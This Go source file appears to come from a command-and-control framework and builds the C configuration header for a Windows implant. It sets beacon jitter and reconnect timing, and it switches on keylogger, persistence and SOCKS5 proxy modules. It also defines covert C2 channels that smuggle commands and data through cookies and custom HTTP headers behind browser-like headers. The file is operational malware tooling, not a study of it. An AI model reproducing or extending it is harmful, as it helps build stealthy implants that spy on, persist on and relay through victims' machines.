232 lines
6.5 KiB
Go
232 lines
6.5 KiB
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"html/template"
|
|
"log"
|
|
"os"
|
|
"strconv"
|
|
"strings"
|
|
)
|
|
|
|
// Template functions - FIXED VERSION
|
|
var funcMap = template.FuncMap{
|
|
"toCWideString": func(s string) template.HTML {
|
|
// Escape quotes and backslashes for C string literals
|
|
escaped := strings.ReplaceAll(s, "\\", "\\\\")
|
|
escaped = strings.ReplaceAll(escaped, "\"", "\\\"")
|
|
// Add \r\n if not present
|
|
if !strings.HasSuffix(escaped, "\\r\\n") {
|
|
escaped += "\\r\\n"
|
|
}
|
|
return template.HTML(fmt.Sprintf("L\"%s\"", escaped))
|
|
},
|
|
"toCString": func(s string) template.HTML {
|
|
// Escape quotes and backslashes for C string literals
|
|
escaped := strings.ReplaceAll(s, "\\", "\\\\")
|
|
escaped = strings.ReplaceAll(escaped, "\"", "\\\"")
|
|
return template.HTML(fmt.Sprintf("\"%s\"", escaped))
|
|
},
|
|
"makeHeader": func(name, value string) template.HTML {
|
|
// Create header with \r\n
|
|
escaped := strings.ReplaceAll(fmt.Sprintf("%s: %s", name, value), "\\", "\\\\")
|
|
escaped = strings.ReplaceAll(escaped, "\"", "\\\"")
|
|
escaped += "\\r\\n"
|
|
return template.HTML(fmt.Sprintf("L\"%s\"", escaped))
|
|
},
|
|
}
|
|
|
|
// Template for C header - SIMPLIFIED VERSION
|
|
const headerTemplate = `#ifndef CONFIG_H
|
|
#define CONFIG_H
|
|
|
|
#include <stddef.h>
|
|
|
|
// Agent configuration
|
|
|
|
// For testing builds with make
|
|
#if TESTING_BUILD
|
|
int reconnect_delay = 5000;
|
|
int jitter_percent = 30;
|
|
int startup_delay = 0;
|
|
char agent_id[] = "NimbleKoala";
|
|
#else
|
|
int reconnect_delay = {{.ReconnectDelay}};
|
|
int jitter_percent = {{.JitterPercent}};
|
|
int startup_delay = {{.StartupDelay}};
|
|
char agent_id[] = {{toCString .AgentID}};
|
|
#endif
|
|
|
|
// ===== Module includes =====
|
|
#if ENABLE_KEYLOGGER
|
|
int keylog_delay = 31000; // How often should keylogger report
|
|
#include "modules/keylogger.c"
|
|
#endif
|
|
|
|
#if ENABLE_PERSISTENCE
|
|
#include "modules/persistence.c"
|
|
#endif
|
|
|
|
#if ENABLE_PROXY
|
|
#include "modules/socks5_server.c"
|
|
#include "modules/socks5_agent.c"
|
|
#endif
|
|
|
|
// Common request headers
|
|
{{- if .Config.AgentRequestHeaders}}
|
|
wchar_t* common_headers[] = {
|
|
{{- range $i, $header := .Config.AgentRequestHeaders}}
|
|
{{toCWideString $header}},
|
|
{{- end}}
|
|
};
|
|
|
|
// Number of common headers
|
|
int num_common_headers = {{len .Config.AgentRequestHeaders}};
|
|
{{- else}}
|
|
wchar_t* common_headers[] = {
|
|
L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n",
|
|
L"Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate\r\n",
|
|
L"Pragma: no-cache\r\n",
|
|
L"Connection: keep-alive\r\n"
|
|
};
|
|
|
|
// Number of common headers
|
|
int num_common_headers = 4;
|
|
{{- end}}
|
|
|
|
// User agent to identify against server
|
|
wchar_t* user_agent = L{{toCString .Config.C2AgentUserAgent}};
|
|
|
|
// Header to identify against server
|
|
wchar_t* identity_header = {{makeHeader .Config.C2IdentificationHeader .Config.C2IdentificationValue}};
|
|
|
|
// Message size limits, if message is bigger - send message in request body with POST method
|
|
size_t max_cookie_message_length = 64;
|
|
|
|
// Domain-specific configuration structure
|
|
typedef struct {
|
|
char* domain;
|
|
unsigned short port;
|
|
|
|
// Communication parameters
|
|
// Headers and cookie indicating a new message from server
|
|
wchar_t* command_header_name;
|
|
wchar_t* command_header_value;
|
|
wchar_t* command_cookie_name;
|
|
|
|
// Cookie to embed message to
|
|
wchar_t* message_cookie_name;
|
|
|
|
// Header to indicate message in request body when POST method is used
|
|
wchar_t* body_message_header;
|
|
|
|
} DomainConfig;
|
|
|
|
// Global domain configurations
|
|
DomainConfig domain_configs[] = {
|
|
{{- range $domain, $profile := .FilteredDomains}}
|
|
{
|
|
.domain = {{toCString $domain}},
|
|
.port = {{$.Port}},
|
|
.command_header_name = L{{toCString $profile.CommandHeader}},
|
|
.command_header_value = L{{toCString $profile.CommandHeaderValue}},
|
|
.command_cookie_name = L{{toCString $profile.CommandCookie}},
|
|
.message_cookie_name = L{{toCString $profile.MessageCookieName}},
|
|
.body_message_header = {{makeHeader $profile.BodyMessageHeader $profile.BodyMessageHeaderValue}},
|
|
},
|
|
{{- end}}
|
|
};
|
|
|
|
// Number of domain configurations
|
|
int num_domain_configs = {{len .FilteredDomains}};
|
|
|
|
#endif // CONFIG_H
|
|
`
|
|
|
|
// GenerateCHeaderFromListener generates C header directly from listener and parameters
|
|
func GenerateHeaderFile(outputPath, listenerName, agentID string, jitterPercent, reconnectDelay, startupDelay *int) error {
|
|
// Retrieve listener info by name
|
|
value, ok := listeners.Load(listenerName)
|
|
if !ok {
|
|
return fmt.Errorf("listener '%s' not found", listenerName)
|
|
}
|
|
|
|
// Retrieve info needed for communication
|
|
listenerInfo := value.(*ListenerInfo)
|
|
hosts := listenerInfo.Addresses
|
|
port, _ := strconv.Atoi(listenerInfo.Port)
|
|
|
|
// Filter domains from config based on listener hosts
|
|
filteredDomains := make(map[string]DomainProfile)
|
|
|
|
for _, host := range hosts {
|
|
if profile, exists := config.DomainProfiles[host]; exists {
|
|
filteredDomains[host] = profile
|
|
log.Printf("Domain '%s' found in config", host)
|
|
} else {
|
|
log.Printf("WARNING: Domain '%s' not found in configuration", host)
|
|
}
|
|
}
|
|
|
|
if len(filteredDomains) == 0 {
|
|
return fmt.Errorf("no valid domains found in configuration for listener '%s'", listenerName)
|
|
}
|
|
|
|
// Apply defaults from config if not provided
|
|
finalJitter := config.JitterPercent
|
|
finalReconnect := config.ReconnectDelay
|
|
finalStartup := config.StartupDelay
|
|
|
|
if jitterPercent != nil {
|
|
finalJitter = *jitterPercent
|
|
}
|
|
if reconnectDelay != nil {
|
|
finalReconnect = *reconnectDelay
|
|
}
|
|
if startupDelay != nil {
|
|
finalStartup = *startupDelay
|
|
}
|
|
|
|
// Create template data structure
|
|
templateData := struct {
|
|
Config *Config
|
|
AgentID string
|
|
JitterPercent int
|
|
ReconnectDelay int
|
|
StartupDelay int
|
|
Port int
|
|
FilteredDomains map[string]DomainProfile
|
|
}{
|
|
Config: &config,
|
|
AgentID: agentID,
|
|
JitterPercent: finalJitter,
|
|
ReconnectDelay: finalReconnect,
|
|
StartupDelay: finalStartup,
|
|
Port: port,
|
|
FilteredDomains: filteredDomains,
|
|
}
|
|
|
|
// Parse template with custom functions
|
|
tmpl, err := template.New("header").Funcs(funcMap).Parse(headerTemplate)
|
|
if err != nil {
|
|
return fmt.Errorf("failed to parse template: %v", err)
|
|
}
|
|
|
|
// Create output file
|
|
file, err := os.Create(outputPath)
|
|
if err != nil {
|
|
return fmt.Errorf("failed to create output file: %v", err)
|
|
}
|
|
defer file.Close()
|
|
|
|
// Execute template with configuration data
|
|
err = tmpl.Execute(file, templateData)
|
|
if err != nil {
|
|
return fmt.Errorf("failed to execute template: %v", err)
|
|
}
|
|
|
|
log.Printf("C header generated successfully: %s", outputPath)
|
|
log.Printf("Filtered %d domains from listener '%s'", len(filteredDomains), listenerName)
|
|
return nil
|
|
}
|